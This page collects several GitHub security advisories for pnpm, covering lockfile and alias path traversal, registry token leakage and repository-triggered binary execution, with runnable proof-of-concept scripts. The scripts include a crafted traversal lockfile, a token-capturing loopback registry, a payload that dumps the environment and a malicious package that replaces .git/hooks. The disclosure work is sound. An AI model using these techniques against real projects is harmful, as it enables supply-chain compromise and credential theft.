Where
-Infinity
0
Severity
7.1
Path Traversal
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

Summary

The virtual store linker constructs package installation directories using path.join(modules, pkgName) where pkgName is extracted from lockfile packages keys via dp.parse(depPath).name without validation. A crafted pnpm-lock.yaml with traversal sequences in depPath keys (e.g., ../../../tmp/pwned@1.0.0) causes package content to be written to arbitrary filesystem paths during pnpm install.

This is an incomplete fix of GHSA-fr4h-3cph-29xv — the safeJoinModulesDir containment helper was applied to the hoisted linker and symlinkDependency but NOT to the virtual store linker's lockfileToDepGraph.ts:233.

Details

Root Cause

dp.parse() at pnpm11/deps/path/src/index.ts:135 extracts the package name as: typescript const name = dependencyPath.substring(0, sepIndex)

This is a raw substring operation with zero validation that name is a valid npm package name. A depPath of ../../../tmp/pwned@1.0.0 yields name = '../../../tmp/pwned'.

Vulnerable Code Path

1. pnpm-lock.yaml → lockfile.packages['../../../../../../../tmp/pwned@1.0.0'] (attacker-controlled lockfile key) 2. nameVerFromPkgSnapshot(depPath, pkgSnapshot) at lockfile/utils/src/nameVerFromPkgSnapshot.ts:16 → calls dp.parse(depPath) → returns { name: '../../../../../../../tmp/pwned' } 3. lockfileToDepGraph.ts:232 → modules = path.join(dirInVirtualStore, 'nodemodules') 4. lockfileToDepGraph.ts:233 → dir = path.join(modules, pkgName) → resolves to /tmp/pwned (ESCAPES virtual store) 5. storeController.importPackage(depNode.dir, ...) → writes package content to the traversed path

Why Existing Defenses Don't Catch It

- depPathToFilename() — replaces / with + for the dirInVirtualStore path, but pkgName comes SEPARATELY from dp.parse() and is NOT passed through this function - verifyLockfileResolutions() — validates dependency map keys (aliases) via isValidDependencyAlias(), but never validates the depPath keys themselves - Lockfile parser — yaml.load(lockfileRawContent) with no schema validation on packages keys - importPackage() — accepts targetDir and passes it directly to cafsStore.importPackage(targetDir, ...) with zero containment check - Integrity verification — requires a real fetchable package but does not validate the destination path

Escalation to RCE (non-default config)

When dangerouslyAllowAllBuilds: true is configured (or the traversal package name is in the explicit allowBuilds list), the same traversed path is used in the rebuild phase at after-install/src/index.ts:402,470. The attacker's postinstall script then executes with the victim's shell access. Under default config, allowBuild returns false for unknown packages, limiting impact to arbitrary file write.

Also Affected (PnP linker)

When nodeLinker: pnp is configured, lockfileToPackageRegistry() at lockfile/to-pnp/src/index.ts:105-110 uses the same unvalidated dp.parse().name in packageLocation construction, allowing the .pnp.cjs resolver map to point outside the virtual store. This is a lower-impact variant (PnP is not the default linker).

Impact

An attacker who can commit a crafted pnpm-lock.yaml to a repository (or supply one via a malicious package) can cause arbitrary file writes on the machine of any user who runs pnpm install. Written content is the actual package files from a real npm package (attacker controls which package and which destination).

Targets for arbitrary file write include: - .git/hooks/pre-commit — code execution on next git operation - ~/.local/bin/ — binary hijacking - Project source files — supply chain injection

Reproduction

Craft a pnpm-lock.yaml: yaml lockfileVersion: '9.0' packages: ../../../../../../../tmp/pwned@1.0.0: resolution: {integrity: sha512-<real-package-integrity>} engines: {node: '>=14'} snapshots: ../../../../../../../tmp/pwned@1.0.0: {} importers: .: dependencies: legitimate-name: specifier: ^1.0.0 version: ../../../../../../../tmp/pwned@1.0.0

Run pnpm install — package content is written to /tmp/pwned/ instead of the virtual store.

Recommended Fix

Apply safeJoinModulesDir (or equivalent validation) at: - lockfileToDepGraph.ts:233 — path.join(modules, pkgName) - after-install/src/index.ts:402 — path.join(pkgModulesDir(depPath), pkgInfo.name) - lockfile/to-pnp/src/index.ts:105-110 — PnP packageLocation

Alternatively, validate depPath keys during lockfile parsing to reject any that don't produce valid npm package names via dp.parse().

Relationship to GHSA-fr4h-3cph-29xv

GHSA-fr4h-3cph-29xv fixed the hoisted linker path (lockfileToHoistedDepGraph.ts:222) by adding safeJoinModulesDir. The same fix was NOT applied to the virtual store linker, which uses the identical dp.parse().name → path.join() pattern at lockfileToDepGraph.ts:233.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
Path Traversal
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

pnpm is a package manager. Prior to 10.34.4 and 11.7.0, a crafted lockfile alias could be joined directly under a hoisted nodemodules directory. Traversal aliases could escape that directory, while reserved aliases such as .bin or .pnpm could overwrite pnpm-owned layout. This vulnerability is fixed in 10.34.4 and 11.7.0.

First published (updated )
Severity
7.1
Path Traversal
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

pnpm is a package manager. Prior to 10.34.4 and 11.7.0, a crafted patch entry could resolve outside the configured patches directory and cause pnpm patch-remove to delete an arbitrary reachable file. This vulnerability is fixed in 10.34.4 and 11.7.0.

First published (updated )
Severity
6.9
Infoleak
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local .npmrc file.

In the reproduced case, the user's npm config contains a default registry and an unscoped authToken. The repository does not provide a token-bearing auth line. It only sets registry= to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as an Authorization header.

This was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used.

Affected Behavior Observed

Observed affected:

- pnpm 10.33.2: pnpm install --ignore-scripts sends the user-level unscoped authToken to the repository-selected registry. - pnpm 11.1.3: pnpm install --ignore-scripts sends the user-level unscoped authToken to the repository-selected registry. - pnpm 11.2.1 (next-11 dist tag at testing time): pnpm install --ignore-scripts sends the user-level unscoped authToken to the repository-selected registry. - pnpm 11.1.3: pnpm view also sends user-level unscoped authToken, auth, and username / password credentials to the repository-selected registry in the local loopback replay.

Control:

- npm 10.9.7 rejects the same unscoped user authToken configuration with ERRINVALIDAUTH and does not send an Authorization header to the repository-selected registry. - URL-scoped registry token controls held in the local loopback replay: tokens scoped to the trusted registry URL were not sent to the attacker registry.

Threat Model

Victim:

- developer or CI job with user-level npm registry credentials configured; - runs pnpm install, pnpm view, or an equivalent pnpm metadata/restore command in a repository.

Attacker:

- controls repository-local package manager configuration, such as .npmrc; - can set registry= to a registry endpoint they control; - does not need to provide a token-bearing auth line for the strong case.

Boundary:

Credentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry.

Minimal Reproduction

The reproducer below starts two loopback HTTP registries:

- a trusted registry URL used in the isolated user .npmrc; - an attacker registry URL used in the repository-local .npmrc.

The isolated user .npmrc contains:

ini registry=<trusted-loopback-registry> authToken=PR166FAKEREGISTRYTOKEN

The repository-local .npmrc contains:

ini registry=<attacker-loopback-registry>

The repository package.json depends on a toy package served by the loopback registry. The script then runs:

text pnpm install --ignore-scripts npm install --ignore-scripts

Expected Safe Behavior

pnpm should not send the user-level unscoped authToken to the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry.

Observed Behavior

pnpm 10.33.2, pnpm 11.1.3, and pnpm 11.2.1 send:

http Authorization: Bearer PR166FAKEREGISTRYTOKEN

to the attacker loopback registry during install. npm 10.9.7 rejects the same config and sends no Authorization header.

Security Impact

This can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution.

Non-Claims

This report does not claim:

- remote code execution; - registry account compromise by itself; - leakage of URL-scoped tokens for a different registry; - npm CLI impact; - impact from a repository explicitly committing its own token-bearing auth line.

Source-Level Notes

In pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local .npmrc can change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice.

Suggested Fix Direction

The conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped credentials.

This needs maintainer semantic review and compatibility control because some legacy workflows may intentionally rely on default/unscoped auth.

Runnable Reproducer

Save the following as repro.py and run it with Python 3 in an environment with pnpm and npm available. To force a specific pnpm version through Corepack, set PR166PNPMSPEC, for example PR166PNPMSPEC=11.2.1.

python import base64 import contextlib import hashlib import http.server import io import json import os import shutil import subprocess import sys import tarfile import tempfile import threading from pathlib import Path

"""Standalone loopback reproducer.

It creates only temporary directories and loopback HTTP servers. Cleanup is handled by TemporaryDirectory context managers and registry shutdown handlers; no persistent state is expected outside the package-manager cache directories inside the temporary home. Non-claims: this does not use real credentials, third-party registries, package scripts, or remote services. Failure paths return exit 1 or exit 2 through sys.exit(main()). """

TOKEN = "PR166FAKEREGISTRYTOKEN" PACKAGETGZ = None

class RegistryHandler(http.server.BaseHTTPRequestHandler): requests = []

def doGET(self): self.requests.append( { "method": self.command, "path": self.path, "authorization": self.headers.get("Authorization"), } ) if self.path.endswith(".tgz"): payload = makepackagetgz() self.sendresponse(200) self.sendheader("Content-Type", "application/octet-stream") self.sendheader("Content-Length", str(len(payload))) self.endheaders() self.wfile.write(payload) return

payload = makepackagetgz() body = json.dumps( { "name": "@private/probe", "dist-tags": {"latest": "1.0.0"}, "versions": { "1.0.0": { "name": "@private/probe", "version": "1.0.0", "dist": { "tarball": f"http://127.0.0.1:{self.server.serverport}/private/@private/probe/-/probe-1.0.0.tgz", "shasum": hashlib.sha1(payload).hexdigest(), "integrity": "sha512-" + base64.b64encode(hashlib.sha512(payload).digest()).decode("ascii"), }, } }, } ).encode("utf-8") self.sendresponse(200) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)

def logmessage(self, fmt, args): return

@contextlib.contextmanager def registry(): handler = type("RecordingRegistryHandler", (RegistryHandler,), {"requests": []}) server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), handler) thread = threading.Thread(target=server.serveforever, daemon=True) thread.start() try: yield server, handler.requests finally: server.shutdown() thread.join(timeout=5) server.serverclose()

def makepackagetgz(): global PACKAGETGZ if PACKAGETGZ is not None: return PACKAGETGZ bio = io.BytesIO() with tarfile.open(fileobj=bio, mode="w:gz") as tf: data = b'{"name":"@private/probe","version":"1.0.0"}\n' info = tarfile.TarInfo("package/package.json") info.size = len(data) tf.addfile(info, io.BytesIO(data)) PACKAGETGZ = bio.getvalue() return PACKAGETGZ

def writetext(path, text): path.parent.mkdir(parents=True, existok=True) path.writetext(text, encoding="utf-8", newline="\n")

def runinstall(tool, trustedurl, attackerurl): exe = shutil.which(tool) if exe is None: return {"tool": tool, "error": "missing"} cmd = [exe, "install", "--ignore-scripts"] if tool == "pnpm" and os.environ.get("PR166PNPMSPEC"): corepack = shutil.which("corepack") if corepack is None: return {"tool": tool, "error": "corepack missing"} cmd = [corepack, f"pnpm@{os.environ['PR166PNPMSPEC']}", "install", "--ignore-scripts"]

with tempfile.TemporaryDirectory(prefix=f"pr166-min-{tool}-") as td: root = Path(td) home = root / "home" project = root / "project" home.mkdir() project.mkdir() userconfig = home / ".npmrc"

writetext(userconfig, f"registry={trustedurl}\nauthToken={TOKEN}\n") writetext(project / ".npmrc", f"registry={attackerurl}\n") writetext( project / "package.json", '{"name":"pr166-probe","version":"1.0.0","dependencies":{"@private/probe":"1.0.0"}}\n', )

env = os.environ.copy() env.update( { "HOME": str(home), "USERPROFILE": str(home), "NPMCONFIGUSERCONFIG": str(userconfig), "npmconfiguserconfig": str(userconfig), "NPMCONFIGCACHE": str(home / "cache"), "npmconfigcache": str(home / "cache"), "NPMCONFIGSTOREDIR": str(home / "store"), "npmconfigstoredir": str(home / "store"), "XDGCACHEHOME": str(home / "xdg-cache"), "XDGDATAHOME": str(home / "xdg-data"), "NOCOLOR": "1", } )

proc = subprocess.run( cmd, cwd=str(project), env=env, text=True, encoding="utf-8", errors="replace", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=60, ) return {"tool": tool, "returncode": proc.returncode, "outputtail": proc.stdout[-2000:]}

def summarize(tool, result, attackerrequests): authhits = [r for r in attackerrequests if r.get("authorization")] return { "tool": tool, "result": result, "attackerauthhits": authhits, "attackerrequestcount": len(attackerrequests), }

def toolversion(tool): exe = shutil.which(tool) if exe is None: return "missing" cmd = [exe, "--version"] if tool == "pnpm" and os.environ.get("PR166PNPMSPEC"): corepack = shutil.which("corepack") if corepack is None: return "corepack missing" cmd = [corepack, f"pnpm@{os.environ['PR166PNPMSPEC']}", "--version"] proc = subprocess.run( cmd, text=True, encoding="utf-8", errors="replace", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=20, ) return proc.stdout.strip() or f"exit-{proc.returncode}"

def main(): pnpmversion = toolversion("pnpm") npmversion = toolversion("npm") print(f"TARGETVERSION=pnpm {pnpmversion}; npm {npmversion}") if pnpmversion == "missing" or npmversion == "missing": print("CHECK environmenthaspnpmandnpm result=fail") return 1

print("ENVIRONMENTREADY") overall = [] with registry() as (trusted, trustedrequests), registry() as (attacker, attackerrequests): trustedurl = f"http://127.0.0.1:{trusted.serverport}/private/" attackerurl = f"http://127.0.0.1:{attacker.serverport}/private/"

before = len(attackerrequests) pnpmresult = runinstall("pnpm", trustedurl, attackerurl) pnpmsummary = summarize("pnpm", pnpmresult, attackerrequests[before:]) overall.append(pnpmsummary)

before = len(attackerrequests) npmresult = runinstall("npm", trustedurl, attackerurl) npmsummary = summarize("npm", npmresult, attackerrequests[before:]) overall.append(npmsummary)

print(json.dumps(overall, indent=2))

pnpmleaked = bool(overall[0]["attackerauthhits"]) npmleaked = bool(overall[1]["attackerauthhits"]) print(f"OBSERVEDPNPMAUTHHITS={len(overall[0]['attackerauthhits'])}") print(f"OBSERVEDNPMAUTHHITS={len(overall[1]['attackerauthhits'])}") print( "COMMANDEXITCODE=" f"pnpm:{overall[0]['result'].get('returncode', 'missing')} " f"npm:{overall[1]['result'].get('returncode', 'missing')}" ) if pnpmleaked and not npmleaked: print("CHECK pnpmleaked=true npmcontrolheld=true result=pass") print("VULNERABLEBEHAVIORCONFIRMED") print("RESULTPNPMREBINDSUNSCOPEDUSERTOKENNPMCONTROLHELD") print("RESULTSECURITYBOUNDARYBYPASSCONFIRMED") return 0 if pnpmleaked and npmleaked: print("CHECK pnpmleaked=true npmcontrolheld=false result=fail") print("RESULTBOTHTOOLSSENTAUTH") return 2 print("CHECK pnpmleaked=false result=fail") print("RESULTNOPNPMAUTHLEAK") return 1

if name == "main": sys.exit(main())

Abbreviated Expected Output

text TARGETVERSION=pnpm 11.2.1; npm 10.9.7 ENVIRONMENTREADY ... OBSERVEDPNPMAUTHHITS=3 OBSERVEDNPMAUTHHITS=0 COMMANDEXITCODE=pnpm:0 npm:1 CHECK pnpmleaked=true npmcontrolheld=true result=pass VULNERABLEBEHAVIORCONFIRMED RESULTPNPMREBINDSUNSCOPEDUSERTOKENNPMCONTROLHELD RESULTSECURITYBOUNDARYBYPASSCONFIRMED

Reporter: JUNYI LIU

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
OS Command Injection
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

<!-- maintainer-action:start --> Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.

- Advisory: CAND-PNPM-097 / GHSA-gj8w-mvpf-x27x - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: security/ghsa-batch-2026-06-09 - Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22 - Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec - Maintainer priority: start-here - Component: pnpm configDependencies / pacquet delegation - Patch area: pacquet/configDependency lifecycle execution is not used as install engine without trust - Affected packages: npm:pnpm, npm:@pnpm/config.reader, npm:@pnpm/installing.commands - CWE IDs: CWE-829, CWE-78, CWE-494 - Conservative CVSS: 7.5 / CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.

Expected Patched Behavior

config-dependency pacquet install engines are not selected unless the trusted allowlist is set outside the repository; the marker file is not created.

Files And Tests To Review

- config/reader/src/Config.ts - config/reader/src/types.ts - config/reader/src/configFileKey.ts - config/reader/src/index.ts - config/reader/test/index.ts - installing/commands/src/installDeps.ts - installing/commands/test/runPacquet.ts - pnpm/test/install/pacquet.ts - .changeset/lucky-config-plugin-pnpmfiles.md

Focused Validation

Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.

bash ./nodemodules/.bin/tsgo --build config/reader/tsconfig.json ./nodemodules/.bin/tsgo --build installing/commands/tsconfig.json ./nodemodules/.bin/tsgo --build pnpm/tsconfig.json NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/runPacquet.ts --runInBand NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand ./nodemodules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts git diff --check

The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-097-patched-result.json. <!-- maintainer-action:end -->

Summary

pnpm can install configDependencies declared in pnpm-workspace.yaml before command dispatch. Before the patch, a repository could declare pacquet or @pnpm/pacquet as a config dependency and pnpm treated that repository-controlled dependency as an install-engine opt-in. During install, pnpm resolved a platform-specific @pacquet/<platform>-<arch>/pacquet binary from nodemodules/.pnpm-config/<packageName> and spawned it as the developer or CI user.

Details

The vulnerable source-to-sink path was:

- config/reader/src/getOptionsFromRootManifest.ts copies repository pnpm-workspace.yaml configDependencies into config. - pnpm/src/getConfig.ts installs config dependencies before command dispatch. - installing/env-installer/src/resolveAndInstallConfigDeps.ts resolves the repository-declared dependency and its optional platform subdependencies. - installing/env-installer/src/installConfigDeps.ts fetches, imports, and symlinks the config dependency tree under nodemodules/.pnpm-config. - installing/commands/src/installDeps.ts selected pacquet delegation whenever configDependencies contained pacquet or @pnpm/pacquet. - installing/deps-installer/src/install/index.ts called opts.runPacquet from frozen and materialization paths. - installing/commands/src/runPacquet.ts resolved @pacquet/${process.platform}-${process.arch}/pacquet from the installed config dependency package and executed it with spawn().

Exact-version, integrity, and platform filters only proved which bytes package resolution selected; they did not establish that the repository was trusted to choose a native install engine.

PoC

Standalone PoC and verification script:

Repository fixture:

yaml packages: - . configDependencies: pacquet: 0.2.2

Registry package shape:

json { "name": "pacquet", "version": "0.2.2", "optionalDependencies": { "@pacquet/darwin-arm64": "0.2.2" } }

Platform package payload:

sh #!/bin/sh echo "$PWD" > /tmp/pacquet-engine-ran env > /tmp/pacquet-engine-env

Pre-patch exploit model:

1. The victim runs a dependency-management command such as pnpm install in the repository. 2. pnpm installs the repository-declared config dependency and its host-compatible optional platform dependency into .pnpm-config. 3. installDeps() treats the presence of configDependencies.pacquet or configDependencies["@pnpm/pacquet"] as authorization to delegate install materialization. 4. runPacquet() resolves the platform binary from the installed config dependency tree and spawns it in the lockfile directory.

Observed PoC output:

json { "primitive": "repository-selected pacquet config dependency reaches native process execution when selected", "patchedWithoutAllowlist": "blocked", "trustedAllowlist": "allows explicit opt-in" }

Focused validation commands:

bash ./nodemodules/.bin/tsgo --build config/reader/tsconfig.json ./nodemodules/.bin/tsgo --build installing/commands/tsconfig.json ./nodemodules/.bin/tsgo --build pnpm/tsconfig.json NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/runPacquet.ts --runInBand NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand ./nodemodules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts git diff --check

Validation result:

- The PoC confirmed a selected pacquet config dependency reaches native process execution. - Patched getPacquetConfigDependencyName() returns undefined without a trusted allowlist. - Patched getPacquetConfigDependencyName() allows exact pacquet, exact @pnpm/pacquet, and wildcard trusted opt-in. - Config reader regressions prove user/global config can set configDependencyInstallEngineAllowlist, while pnpm-workspace.yaml cannot grant this permission to itself. - E2E fixtures that intentionally delegate to pacquet now pass the trusted allowlist through environment config. - TypeScript builds passed for @pnpm/config.reader, @pnpm/installing.commands, and pnpm. - Focused installing/commands/test/runPacquet.ts: 3 passed. - Focused config/reader/test/index.ts: 2 passed, 132 skipped under the focused pattern. - ESLint passed with warnings only for existing skipped tests in config/reader/test/index.ts and pnpm/test/install/pacquet.ts. - git diff --check: passed.

Impact

A malicious repository can cause pnpm to execute a registry-selected native binary while handling dependency-management commands. The binary runs with the victim developer or CI user's filesystem, environment, registry credentials, git/SSH credentials, and network access.

Affected products

Ecosystem: npm

Package name: pnpm, @pnpm/config.reader, @pnpm/installing.commands

Affected versions: current main before this patch, when configDependencies contains pacquet or @pnpm/pacquet and install paths delegate to pacquet.

Patched versions: 10.34.2, 11.5.3.

Severity

Severity: High

Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base score: 8.8

Rationale: attacker input is delivered through a repository and registry package, exploitation is low complexity once the victim runs pnpm, no attacker privileges are required, and user interaction is required. Successful exploitation executes a native binary in the victim user's context, with high confidentiality, integrity, and availability impact.

Weaknesses

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

CWE-78: Improper Neutralization of Special Elements used in an OS Command

CWE-494: Download of Code Without Integrity Check

Patch

The patch adds a trusted opt-in gate for config-dependency install-engine delegation:

- New setting: configDependencyInstallEngineAllowlist. - The allowlist can be set from trusted user-controlled config such as global config, CLI config, or environment config. - pnpm-workspace.yaml cannot grant this permission to itself; workspace-provided values are discarded after workspace settings are merged. - installDeps() delegates to pacquet only when pacquet, @pnpm/pacquet, or is present in the trusted allowlist. - Repositories can still install pacquet as a config dependency, but pnpm will not spawn it as an install engine unless trusted config opts in. - Existing tests that intentionally exercise pacquet delegation were updated to pass the trusted allowlist via environment config.

Changed files:

- config/reader/src/Config.ts - config/reader/src/types.ts - config/reader/src/configFileKey.ts - config/reader/src/index.ts - config/reader/test/index.ts - installing/commands/src/installDeps.ts - installing/commands/test/runPacquet.ts - pnpm/test/install/pacquet.ts

Changeset:

- .changeset/lucky-config-plugin-pnpmfiles.md

Pacquet parity:

No pacquet-side code-execution sink exists for this finding. The Rust port parses and records configDependencies for workspace-state compatibility, but it does not install config dependencies or select/spawn an alternate install engine from them. The user-visible trust setting is TypeScript-side today because it gates pnpm's pacquet delegation path.

CVSS Reassessment

Initial CVSS remains correct for vulnerable versions: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H / 8.8 High.

Final CVSS after patch: not vulnerable after patch / 0.0. The PoC no longer reaches pacquet install-engine selection or native process execution unless the victim has set a trusted allowlist outside the repository's own workspace settings.

Remaining Risk

Users can explicitly trust pacquet install-engine delegation through the new allowlist. That is intentional behavior; the closed issue is repository self-authorization of a registry-provided native install engine.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Path Traversal
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install - ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories.

.git/hooks is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:

- .husky or .githooks for Git hook dispatchers - scripts/, tools/, bin/, or tests/ for project scripts and CI commands - .github/actions/<name> for local GitHub Actions used later in the workflow - dist/ or other publish/build output directories before pnpm pack or pnpm publish - nodemodules/.bin or undeclared nodemodules/<name> paths used by later command or module resolution

Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.

This was reproduced with pnpm@11.2.1.

Impact

Users often run pnpm install --ignore-scripts expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.

Examples include git commit, pnpm test, pnpm run build, a CI step that uses a local GitHub Action, or pnpm publish packaging a replaced dist/ directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces .git/hooks, and the payload runs when the victim later executes git commit.

Root Cause

pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination nodemodules directory and passed to the symlink creation logic without rejecting .. segments or checking that the normalized result stays inside the intended nodemodules directory.

Conceptually, a transitive alias like this:

json { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" }

is eventually treated like:

text path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks")

The normalized destination escapes the dependency's nodemodules directory and lands at the victim project's .git/hooks path. pnpm then creates a symlink at that escaped destination to the resolved payload-hooks package directory.

The dependency chain is:

text victim installs normal@1.0.0 normal@1.0.0 -> bad@1.0.0 bad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias

The malicious transitive package metadata contains:

json { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" }

Because this uses an npm: registry alias, it does not rely on a transitive file: or link: dependency.

Proof Of Concept

Run:

sh ./run.sh

sh #!/bin/sh set -eu

SCRIPTDIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) WORKDIR="$SCRIPTDIR/demo-workdir" REGISTRYDIR="$WORKDIR/registry" TARBALLSDIR="$REGISTRYDIR/tarballs" VICTIMDIR="$WORKDIR/victim" READYFILE="$WORKDIR/registry-ready" PORTFILE="$WORKDIR/registry-port"

rm -rf "$WORKDIR" mkdir -p "$REGISTRYDIR/payload-hooks" "$REGISTRYDIR/bad" "$REGISTRYDIR/normal" "$TARBALLSDIR" "$VICTIMDIR"

cat > "$REGISTRYDIR/payload-hooks/package.json" <<'JSON' { "name": "payload-hooks", "version": "1.0.0", "bin": { "pre-commit": "pre-commit" }, "files": [ "pre-commit" ] } JSON

cat > "$REGISTRYDIR/payload-hooks/pre-commit" <<'EOF' #!/bin/sh echo PWNED >&2 exit 0 EOF chmod +x "$REGISTRYDIR/payload-hooks/pre-commit"

cat > "$REGISTRYDIR/bad/package.json" <<'JSON' { "name": "bad", "version": "1.0.0", "description": "transitive registry package", "dependencies": { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } } JSON

cat > "$REGISTRYDIR/normal/package.json" <<'JSON' { "name": "normal", "version": "1.0.0", "description": "normal looking package from a registry", "dependencies": { "bad": "1.0.0" } } JSON

(cd "$REGISTRYDIR/payload-hooks" && npm pack --pack-destination "$TARBALLSDIR" --silent >/dev/null) (cd "$REGISTRYDIR/bad" && npm pack --pack-destination "$TARBALLSDIR" --silent >/dev/null) (cd "$REGISTRYDIR/normal" && npm pack --pack-destination "$TARBALLSDIR" --silent >/dev/null)

node - "$REGISTRYDIR" "$READYFILE" "$PORTFILE" <<'NODE' & const http = require('node:http') const fs = require('node:fs') const path = require('node:path') const { execFileSync } = require('node:childprocess')

const [registryDir, readyFile, portFile] = process.argv.slice(2) const tarballsDir = path.join(registryDir, 'tarballs')

function shasum (filename) { return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)]) .toString() .trim() .split(/\s+/) .pop() }

function integrity (filename) { return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)]) .toString('base64') }

function packument (pkgName, req) { const filename = ${pkgName}-1.0.0.tgz const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8')) const origin = http://${req.headers.host} return { name: pkgName, 'dist-tags': { latest: '1.0.0', }, versions: { '1.0.0': { ...manifest, dist: { tarball: ${origin}/${pkgName}/-/${filename}, shasum: shasum(filename), integrity: integrity(filename), }, }, }, } }

const server = http.createServer((req, res) => { const pathname = new URL(req.url, 'http://local.invalid').pathname if (req.method !== 'GET') { res.writeHead(405) res.end('method not allowed') return } if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') { const pkgName = pathname.slice(1) res.writeHead(200, { 'content-type': 'application/json' }) res.end(JSON.stringify(packument(pkgName, req))) return } const tarballMatch = pathname.match(/^\/(normal|bad|payload-hooks)\/-\/(.+\.tgz)$/) if (tarballMatch) { const file = path.join(tarballsDir, tarballMatch[2]) res.writeHead(200, { 'content-type': 'application/octet-stream' }) fs.createReadStream(file).pipe(res) return } res.writeHead(404) res.end('not found') })

server.listen(0, '127.0.0.1', () => { fs.writeFileSync(portFile, String(server.address().port)) fs.writeFileSync(readyFile, 'ready') }) NODE REGISTRYPID=$! trap 'kill "$REGISTRYPID" 2>/dev/null || true' EXIT INT TERM

